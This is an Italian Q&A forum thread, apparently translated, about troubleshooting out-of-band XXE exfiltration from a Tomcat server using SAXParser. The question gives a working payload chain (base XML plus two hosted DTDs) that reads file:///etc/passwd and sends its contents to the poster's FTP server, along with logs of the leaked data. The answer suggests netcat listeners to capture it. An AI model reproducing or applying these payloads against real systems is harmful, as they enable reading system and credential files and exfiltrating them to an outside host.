Esfilfazione tramite FTP utilizzando XXE su un server Tomcat

1

Sto cercando di estrarre dati binari da un server Tomcat che utilizza SAXParser. Per il mio server FTP, sto utilizzando questa fonte . Sto ospitando due DTD su Github Gist. Questi sono i loro contenuti:

XML di base (cosa viene inviato al server):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data SYSTEM "https://gist.githubusercontent.com/.../a.dtd">
<a>
<b>&send;</b>
</a>

a.dtd (primo payload DTD):

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "https://gist.githubusercontent.com/.../b.dtd">
%dtd;

b.dtd (payload finale DTD):

<!ENTITY % all "<!ENTITY send SYSTEM 'ftp://[my server ip]:2121/%file;'>">
%all;

La ragione per cui sto cercando di estrarre / etc / passwd è perché sto cercando di indirizzare un file binario, ma quando ciò non ha funzionato, ho pensato di iniziare con qualcosa di semplice. Ho confermato di avere accesso a / etc / passwd (l'ho appena recuperato come entità in origine).

Il server FTP funziona correttamente e mi sono assicurato che la porta fosse aperta. Questo è l'output quando viene eseguito quanto sopra.

[WEB] Starting webserver on 0.0.0.0:8888...
[FTP] Starting FTP server on 0.0.0.0:2121...
[FTP] x has connected
[FTP] Received:
USER anonymous
[FTP] Received:
PASS Java1.8.0_131@
[FTP] > 230 more data please!
[FTP] Received:
TYPE I
[FTP] > 230 more data please!
[FTP] Received:
CWD root:x:0:0:root:
[FTP] > 230 more data please!
[FTP] Received:
CWD root:
[FTP] > 230 more data please!
[FTP] Received:
CWD bin
[FTP] > 230 more data please!
[FTP] Received:
QUIT
[FTP] > 230 more data please!
[FTP] Received:

... (a lot more blank like above)
[FTP] > 230 more data please!
[FTP] Received:

[FTP] > 230 more data please!
[FTP] Client error: [Errno 32] Broken pipe
[FTP] Connection closed with x

Un problema che ho trovato nel rispondere alla domanda di Luc è interessante. Fondamentalmente, se i dati hanno delle barre, il client FTP lo interpreta come una cartella? Non so perché si ferma però. Forse dovrò scrivere un meccanismo di risposta appropriato in modo che quando arriva un comando CWD, gli dia OK o un'altra risposta correlata.

    
posta Rob Gates 08.11.2018 - 15:18
fonte

1 risposta

0

Non sono sicuro di cosa stia succedendo esattamente, ma sembra che il client (il tuo target) stia inviando il contenuto del file al server come se contenga comandi FTP. Cosa succede se ascolti con netcat? O semplicemente ascolta con nc -lp 2121 (o qualunque sia la tua variante netcat per gli argomenti, iirc alcuni vogliono nc -l 2121 ), o forse il client si aspetta una risposta, nel qual caso potresti fare qualcosa di simile:

echo -ne '220 Ok\r\n' | nc -lp 2121

Si noti che FTP è un protocollo basato su testo. I file binari saranno problematici se il client pensa di doverli convertire in ASCII per la connessione di controllo. Prova, ma potrebbe essere che questo è il tuo prossimo ostacolo.

    
risposta data 08.11.2018 - 16:37
fonte

Leggi altre domande sui tag